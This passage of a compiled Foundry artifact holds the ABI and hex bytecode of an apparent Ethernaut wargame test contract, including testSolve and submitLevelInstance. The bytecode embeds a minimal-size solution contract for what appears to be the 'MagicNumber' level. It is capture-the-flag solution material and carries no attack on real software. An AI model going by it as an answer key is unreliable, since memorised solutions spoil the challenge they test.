payable"}],"stateMutability":"nonpayable"},{"type":"function","name":"getOldFactory","inputs":[{"name":"contractName","type":"string","internalType":"string"}],"outputs":[{"name":"addr","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"mineBlocks","inputs":[{"name":"numBlocks","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"setUp","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"submitLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"instance","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"targetArtifactSelectors","inputs":[],"outputs":[{"name":"targetedArtifactSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetArtifacts","inputs":[],"outputs":[{"name":"targetedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"targetContracts","inputs":[],"outputs":[{"name":"targetedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"targetInterfaces","inputs":[],"outputs":[{"name":"targetedInterfaces_","type":"tuple[]","internalType":"struct StdInvariant.FuzzInterface[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"artifacts","type":"string[]","internalType":"string[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSelectors","inputs":[],"outputs":[{"name":"targetedSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSenders","inputs":[],"outputs":[{"name":"targetedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"testInit","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"testSolve","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"event","name":"log","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_address","inputs":[{"name":"","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_bytes","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_bytes32","inputs":[{"name":"","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_int","inputs":[{"name":"","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_address","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_named_bytes","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_named_bytes32","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_named_decimal_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_decimal_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_string","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_named_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_string","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_uint","inputs":[{"name":"","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"logs","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false}],"bytecode":{"object":"0x600c8054600160ff1991821681178355601e80549092161790556b75736572206164647265737360a01b60a05260805260ac6040527ffadd6953a0436e85528ded789af2e2b7e57c1cd7c68c5c3796d8ea67e0018db7601f55348015610063575f80fd5b506162f4806100715f395ff3fe608060405234801562000010575f80fd5b50600436106200018c575f3560e01c806385226c8111620000e3578063b5d11e991162000093578063e20c9f71116200006b578063e20c9f711462000314578063f82de7b0146200031e578063fa7626d41462000335575f80fd5b8063b5d11e9914620002d3578063b90a68fa14620002dd578063ba414fa6146200030a575f80fd5b8063916a17c611620000c7578063916a17c614620002975780639b59adbc14620002a1578063b5508aa914620002c9575f80fd5b806385226c81146200026757806385db81cc1462000280575f80fd5b80633e5e3c23116200013f57806366d9a9a0116200012357806366d9a9a0146200022d578063792e11f51462000246578063832e5fc2146200025d575f80fd5b80633e5e3c2314620002195780633f7286f41462000223575f80fd5b80631ed7831c11620001735780631ed7831c14620001d05780632356661a14620001e95780632ade38801462000200575f80fd5b80630a9254e414620001905780631c7db669146200019c575b5f80fd5b6200019a62000343565b005b620001b3620001ad36600462001b9f565b620007ff565b6040516001600160a01b0390911681526020015b60405180910390f35b620001da620009c9565b604051620001c7919062001be2565b620001b3620001fa36600462001cce565b62000a2b565b6200020a62000bf6565b604051620001c7919062001da1565b620001da62000d3e565b620001da62000d9e565b6200023762000dfe565b604051620001c7919062001e64565b620001da6200025736600462001f31565b62000ef8565b6200019a62001088565b62000271620011aa565b604051620001c7919062001f49565b620001b36200029136600462001faf565b6200127f565b620002376200139e565b620002b8620002b236600462001fcd565b62001498565b6040519015158152602001620001c7565b6200027162001628565b6200019a620016fd565b601f80546040805160208082018490528251808303820181529183019092528051910120909155620001b3565b620002b86200181c565b620001da620018f0565b6200019a6200032f36600462001f31565b62001950565b601e54620002b89060ff1681565b5f62000350600262000ef8565b9050805f8151811062000367576200036762002009565b60209081029190910101516022805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600560448201527f4f776e65720000000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156200041c575f80fd5b505af11580156200042f573d5f803e3d5ffd5b505050508060018151811062000449576200044962002009565b60209081029190910101516023805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600660448201527f506c6179657200000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015620004fe575f80fd5b505af115801562000511573d5f803e3d5ffd5b50506022546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b1580156200056c575f80fd5b505af11580156200057f573d5f803e3d5ffd5b50506022546200059b92506001600160a01b031690506200127f565b6020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03929092169190911790556040515f90620005d89062001b38565b604051809103905ff080158015620005f2573d5f803e3d5ffd5b506020546040517f202023d40000000000000000000000000000000000000000000000000000000081526001600160a01b03808416600483015292935091169063202023d4906024015f604051808303815f87803b15801562000653575f80fd5b505af115801562000666573d5f803e3d5ffd5b505050507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620006c5575f80fd5b505af1158015620006d8573d5f803e3d5ffd5b50506023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562000733575f80fd5b505af115801562000746573d5f803e3d5ffd5b50506020546200076492506001600160a01b03169050825f620007ff565b60215f6101000a8154816001600160a01b0302191690836001600160a01b031602179055507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620007e4575f80fd5b505af1158015620007f7573d5f803e3d5ffd5b505050505050565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156200085b575f80fd5b505af11580156200086e573d5f803e3d5ffd5b50506040517fdfc86b170000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301528716925063dfc86b17915084906024015f604051808303818588803b158015620008ce575f80fd5b505af1158015620008e1573d5f803e3d5ffd5b50505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562000946573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200096f9190810190620020aa565b905080600182516200098291906200223a565b8151811062000995576200099562002009565b60200260200101515f0151600281518110620009b557620009b562002009565b60200260200101515f1c9150509392505050565b6060601680548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f20905b81546001600160a01b0316815260019091019060200180831162000a02575b5050505050905090565b5f807f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663d930a0e66040518163ffffffff1660e01b81526004015f60405180830381865afa15801562000a8b573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000ab4919081019062002250565b90505f81848560405160200162000acd929190620022a2565b60408051601f198184030181529082905262000aed929160200162002350565b60408051601f19818403018152908290527f60f9bb1100000000000000000000000000000000000000000000000000000000825291505f90737109709ecfa91a80626ff3989d68f67f5b1dd12d906360f9bb119062000b5190859060040162002382565b5f60405180830381865afa15801562000b6c573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000b95919081019062002250565b90505f62000be26040518060400160405280601081526020017f2e62797465636f64652e6f626a6563740000000000000000000000000000000081525083620019c490919063ffffffff16565b90508051602082015ff09695505050505050565b6060601d805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b8282101562000d1d578382905f5260205f2001805462000c8b9062002396565b80601f016020809104026020016040519081016040528092919081815260200182805462000cb99062002396565b801562000d085780601f1062000cde5761010080835404028352916020019162000d08565b820191905f5260205f20905b81548152906001019060200180831162000cea57829003601f168201915b50505050508152602001906001019062000c6b565b50505050815250508152602001906001019062000c19565b50505050905090565b6060601880548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b6060601780548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801562000edf57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841162000e8b5790505b5050505050815250508152602001906001019062000e21565b60605f8267ffffffffffffffff81111562000f175762000f1762001c30565b60405190808252806020026020018201604052801562000f41578160200160208202803683370190505b5090505f5b8381101562001081575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af115801562000f8e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000fb49190620023d0565b6040517fc88a5e6d0000000000000000000000000000000000000000000000000000000081526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b15801562001032575f80fd5b505af115801562001045573d5f803e3d5ffd5b50505050808383815181106200105f576200105f62002009565b6001600160a01b03909216602092830291909101909101525060010162000f46565b5092915050565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620010df575f80fd5b505af1158015620010f2573d5f803e3d5ffd5b505050505f604051620011059062001b46565b604051809103905ff0801580156200111f573d5f803e3d5ffd5b50602154604051631f87943360e01b81526001600160a01b038084166004830152929350911690631f879433906024015f604051808303815f87803b15801562001167575f80fd5b505af11580156200117a573d5f803e3d5ffd5b5050602054602154620011a79350620011a192506001600160a01b03918216911662001498565b62001a66565b50565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000d35578382905f5260205f20018054620011ed9062002396565b80601f01602080910402602001604051908101604052809291908181526020018280546200121b9062002396565b80156200126a5780601f1062001240576101008083540402835291602001916200126a565b820191905f5260205f20905b8154815290600101906020018083116200124c57829003601f168201915b505050505081526020019060010190620011cd565b5f806040516200128f9062001b53565b604051809103905ff080158015620012a9573d5f803e3d5ffd5b5090505f604051620012bb9062001b61565b604051809103905ff080158015620012d5573d5f803e3d5ffd5b508483604051620012e69062001b6f565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff08015801562001320573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b1580156200137f575f80fd5b505af115801562001392573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f8481526020908190206040805180820182526002860290920180546001600160a01b031683526001810180548351818702810187019094528084529394919385830193928301828280156200147f57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190600401906020826003010492830192600103820291508084116200142b5790505b50505050508152505081526020019060010190620013c1565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620014f4575f80fd5b505af115801562001507573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b15801562001565575f80fd5b505af115801562001578573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af1158015620015dc573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052620016059190810190620020aa565b90506001815111156200161d57600191505062001622565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000d35578382905f5260205f200180546200166b9062002396565b80601f0160208091040260200160405190810160405280929190818152602001828054620016999062002396565b8015620016e85780601f10620016be57610100808354040283529160200191620016e8565b820191905f5260205f20905b815481529060010190602001808311620016ca57829003601f168201915b5050505050815260200190600101906200164b565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b15801562001754575f80fd5b505af115801562001767573d5f803e3d5ffd5b505050505f6040516200177a9062001b7d565b604051809103905ff08015801562001794573d5f803e3d5ffd5b50602154604051631f87943360e01b81526001600160a01b038084166004830152929350911690631f879433906024015f604051808303815f87803b158015620017dc575f80fd5b505af1158015620017ef573d5f803e3d5ffd5b5050602054602154620011a793506200181692506001600160a01b03918216911662001498565b62001ae5565b6008545f9060ff161562001834575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa158015620018c3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620018e99190620023ee565b1415905090565b6060601580548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b5f6200195d824362002406565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b158015620007e4575f80fd5b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be89062001a1b90869086906004016200241c565b5f60405180830381865afa15801562001a36573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001a5f91908101906200244d565b9392505050565b6040517f0c9fd5810000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d90630c9fd581906024015b5f6040518083038186803b15801562001acb575f80fd5b505afa15801562001ade573d5f803e3d5ffd5b5050505050565b6040517fa59828850000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063a59828859060240162001ab4565b610664806200248483390190565b60238062002ae883390190565b610ae58062002b0b83390190565b611e7a80620035f083390190565b610daa806200546a83390190565b60ab806200621483390190565b6001600160a01b0381168114620011a7575f80fd5b5f805f6060848603121562001bb2575f80fd5b833562001bbf8162001b8a565b9250602084013562001bd18162001b8a565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b8181101562001c245783516001600160a01b03168352928401929184019160010162001bfd565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff8111828210171562001c6a5762001c6a62001c30565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171562001c9c5762001c9c62001c30565b604052919050565b5f67ffffffffffffffff82111562001cc05762001cc062001c30565b50601f01601f191660200190565b5f6020828403121562001cdf575f80fd5b813567ffffffffffffffff81111562001cf6575f80fd5b8201601f8101841362001d07575f80fd5b803562001d1e62001d188262001ca4565b62001c70565b81815285602083850101111562001d33575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b8381101562001d6c57818101518382015260200162001d52565b50505f910152565b5f815180845262001d8d81602086016020860162001d50565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b8481101562001e5557603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b8181101562001e3e57605f1988850301835262001e2b84865162001d74565b948d01949350918c019160010162001e0c565b505050968901969350509087019060010162001dc6565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b8381101562001f2357888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b8083101562001f0d5783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a019062001ec9565b5096890196945050509086019060010162001e8b565b509098975050505050505050565b5f6020828403121562001f42575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b8281101562001fa257603f1988860301845262001f8f85835162001d74565b9450928501929085019060010162001f70565b5092979650505050505050565b5f6020828403121562001fc0575f80fd5b813562001a5f8162001b8a565b5f806040838503121562001fdf575f80fd5b823562001fec8162001b8a565b9150602083013562001ffe8162001b8a565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f67ffffffffffffffff82111562002039576200203962001c30565b5060051b60200190565b5f6200205362001d188462001ca4565b905082815283838301111562002067575f80fd5b62001a5f83602083018462001d50565b5f82601f83011262002087575f80fd5b62001a5f8383516020850162002043565b8051620020a58162001b8a565b919050565b5f6020808385031215620020bc575f80fd5b825167ffffffffffffffff80821115620020d4575f80fd5b818501915085601f830112620020e8575f80fd5b8151620020f962001d18826200201d565b81815260059190911b8301840190848101908883111562002118575f80fd5b8585015b83811015620022195780518581111562002134575f80fd5b86016060818c03601f190112156200214a575f80fd5b6200215462001c44565b888201518781111562002165575f80fd5b8201603f81018d1362002176575f80fd5b898101516200218962001d18826200201d565b81815260059190911b8201604001908b8101908f831115620021a9575f80fd5b6040840193505b82841015620021cb5783518252928c0192908c0190620021b0565b8452505050604082015187811115620021e2575f80fd5b620021f28d8b8386010162002077565b8a83015250620022056060830162002098565b60408201528452509186019186016200211c565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111562001622576200162262002226565b5f6020828403121562002261575f80fd5b815167ffffffffffffffff81111562002278575f80fd5b8201601f8101841362002289575f80fd5b6200229a8482516020840162002043565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f8351620022db81600585016020880162001d50565b7f2e736f6c2f00000000000000000000000000000000000000000000000000000060059184019182015283516200231a81600a84016020880162001d50565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f83516200236381846020880162001d50565b8351908301906200237981836020880162001d50565b01949350505050565b602081525f62001a5f602083018462001d74565b600181811c90821680620023ab57607f821691505b602082108103620023ca57634e487b7160e01b5f52602260045260245ffd5b50919050565b5f60208284031215620023e1575f80fd5b815162001a5f8162001b8a565b5f60208284031215620023ff575f80fd5b5051919050565b8082018082111562001622576200162262002226565b604081525f62002430604083018562001d74565b828103602084015262002444818562001d74565b95945050505050565b5f602082840312156200245e575f80fd5b815167ffffffffffffffff81111562002475575f80fd5b6200229a848285016200207756fe608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6105ea8061007a5f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b6100856100803660046103c6565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d83660046103e8565b61014c565b6040519015158152602001610099565b3480156100f8575f80fd5b506100706101073660046103c6565b610250565b6101146102e5565b61011d5f61033e565b565b5f60405161012c906103a5565b604051809103905ff080158015610145573d5f803e3d5ffd5b5092915050565b5f808390505f816001600160a01b03166349a7a26d6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561018e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101b2919061041f565b90505f816001600160a01b031663650500c16040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101f1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610215919061043a565b9050602a811461022a575f935050505061024a565b813b600a811115610241575f94505050505061024a565b60019450505050505b92915050565b6102586102e5565b6001600160a01b0381166102d95760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b6102e28161033e565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016102d0565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6101638061045283390190565b6001600160a01b03811681146102e2575f80fd5b5f602082840312156103d6575f80fd5b81356103e1816103b2565b9392505050565b5f80604083850312156103f9575f80fd5b8235610404816103b2565b91506020830135610414816103b2565b809150509250929050565b5f6020828403121561042f575f80fd5b81516103e1816103b2565b5f6020828403121561044a575f80fd5b505191905056fe608060405234801561000f575f80fd5b506101468061001d5f395ff3fe608060405234801561000f575f80fd5b5060043610610034575f3560e01c80631f8794331461003857806349a7a26d1461008e575b5f80fd5b61008c6100463660046100d6565b5f80547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b005b5f546100ad9073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390f35b5f602082840312156100e6575f80fd5b813573ffffffffffffffffffffffffffffffffffffffff81168114610109575f80fd5b939250505056fea26469706673582212201ed06ae2b264afa979c4761c62a56c8d7bb1d4bd17fe273eef4cdeb2c5e4c66264736f6c63430008180033a26469706673582212203f3b7328b9d76acb72a9f55c37382d97bff11ac7c6a6e8d4fb65226cd7b8b18764736f6c634300081800336080604052348015600e575f80fd5b5069602a60005260206000f35f52600a6016f3fe608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529283166024820152336044820152911690632c038c32906064015f604051808303815f87803b158015610561575f80fd5b505af1158015610573573d5f803e3d5ffd5b5050505060018101546040516001600160a01b039182169184169033907f5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d905f90a45050565b60018054908201546040517fd0f191e00000000000000000000000000000000000000000000000000000000081526001600160a01b038581166004830152918216602482015233604482015291169063d0f191e0906064015f604051808303815f87803b158015610628575f80fd5b505af115801561063a573d5f803e3d5ffd5b505050505050565b6001600160a01b0381165f9081526002602052604090205460ff166106a95760405162461bcd60e51b815260206004820152601960248201527f54686973206c6576656c20646f65736e2774206578697374730000000000000060448201526064016103cd565b6040517f7726f7760000000000000000000000000000000000000000000000000000000081523360048201525f906001600160a01b03831690637726f77690349060240160206040518083038185885af1158015610709573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e9190610a1a565b60408051606081018252338082526001600160a01b0386811660208085018281525f8688018181528986168083526003909452908890209651875473ffffffffffffffffffffffffffffffffffffffff191690861617875590516001968701805492519186167fffffffffffffffffffffff00000000000000000000000000000000000000000090931692909217600160a01b91151591909102179055935494517f7e4326d3000000000000000000000000000000000000000000000000000000008152600481019490945260248401526044830191909152929350911690637e4326d3906064015f604051808303815f87803b15801561082d575f80fd5b505af115801561083f573d5f803e3d5ffd5b50506040516001600160a01b0380861693508416915033907f8be8bd7b4324b3d47aca5c3f64cb70e8f645e6fe94da668699951658f6384179905f90a45050565b610888610910565b6001600160a01b0381166109045760405162461b